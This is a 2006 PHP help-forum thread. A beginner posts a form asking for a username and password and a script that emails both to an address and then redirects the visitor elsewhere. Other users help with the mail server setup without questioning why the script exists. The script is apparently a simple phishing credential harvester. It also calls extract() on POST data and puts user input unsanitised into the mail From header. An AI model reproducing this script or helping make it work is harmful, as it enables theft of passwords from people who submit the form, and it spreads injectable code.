shisamandisa Posted July 16, 2006 Share Posted July 16, 2006 I have a pretty simple php script along with form and i was wondering if i was doing anything wrong because no information is being sent to my email. So can anyone revise this for errors and tell me what im doing wrong thanx! ;)heres the .php[code]<?php@extract($_POST);$username=$_POST["username"];$password=$_POST["password"];mail("email@email.com", $username, $password, "From: $username");header("Location: http://anyredirectsite.com");?>[/code]here is the form[code]<form name="contact.php" method='POST' action="http://something.com/contact.php"> <br><br><div style="text-align:center"><table><tr><td align="center">username:</td><td align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td align="center">password:</td><td align="center"><input size="20" type="password" name="password" maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership" style="background:#4D422E url('http://stylebutton.com/style.gif'); color: white;" class="b"></td></tr></table></form>[/code]Thanks for anyhelp! Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/ Share on other sites More sharing options...
Tandem Posted July 16, 2006 Share Posted July 16, 2006 Do you have php set up to work with a mail server?If not the mail function is useless. Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58766 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 haha sry like i said before im a noob and i dont even know what or how to set up to work with a mail server... Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58767 Share on other sites More sharing options...
Tandem Posted July 16, 2006 Share Posted July 16, 2006 Ok, here we go...Lets say php is our e-mail client for sending e-mail, much like Outlook Express or something like that. The client sends the e-mail to a smtp server, which in turn sends the e-mail to the desired e-mail address. To send e-mail with php you need to set up an smtp server on your computer.Just search google, pick one and download/install it, then configure it, and then edit the mail function in php.ini to match it Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58769 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 i use a gmail account not outlook or anything would i need to edit some configurations on gmail or could i use a yahoo account or something? Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58772 Share on other sites More sharing options...
Drumminxx Posted July 16, 2006 Share Posted July 16, 2006 Are you running this on your own "local" machine or is this on a web hosting server? if its on your local machine then you probably don't have an smtp server set up. Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58773 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 i have hosted contact.php on a web hoster on freehostia.comIt says thisSMTP (outgoing mail server) : serv3.freehostia.comSMTP Port : 25 Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58774 Share on other sites More sharing options...
Drumminxx Posted July 16, 2006 Share Posted July 16, 2006 [quote author=shisamandisa link=topic=100744.msg398000#msg398000 date=1153019129]i have hosted contact.php on a web hoster on freehostia.com[/quote]if they offer email with your domain name then you probably do have it set up but you should check with them first to make surerun phpinfo and see what "sendmail_path" this reads Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58775 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 would any of this help my situation?SMTP (outgoing mail server) : serv3.freehostia.comSMTP Port : 25 Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58776 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 also the php code i typed what version php is that... because couldnt i just find a free web host that accepts that version because free hostia accepts PHP Version 4.4.0 and maybe this version is different Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58781 Share on other sites More sharing options...
Drumminxx Posted July 16, 2006 Share Posted July 16, 2006 I just checked with freehostia.com and they do not support smtp with the free hosting plan, you'll have to upgrade to their value plan Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58788 Share on other sites More sharing options...
shisamandisa Posted July 16, 2006 Author Share Posted July 16, 2006 haha fuck that ill find another one well thanks guys for all your help i really appreciate it! ;D Quote Link to comment https://forums.phpfreaks.com/topic/14730-simple-php-script-but-im-a-noob-and-i-need-help-thanx/#findComment-58798 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.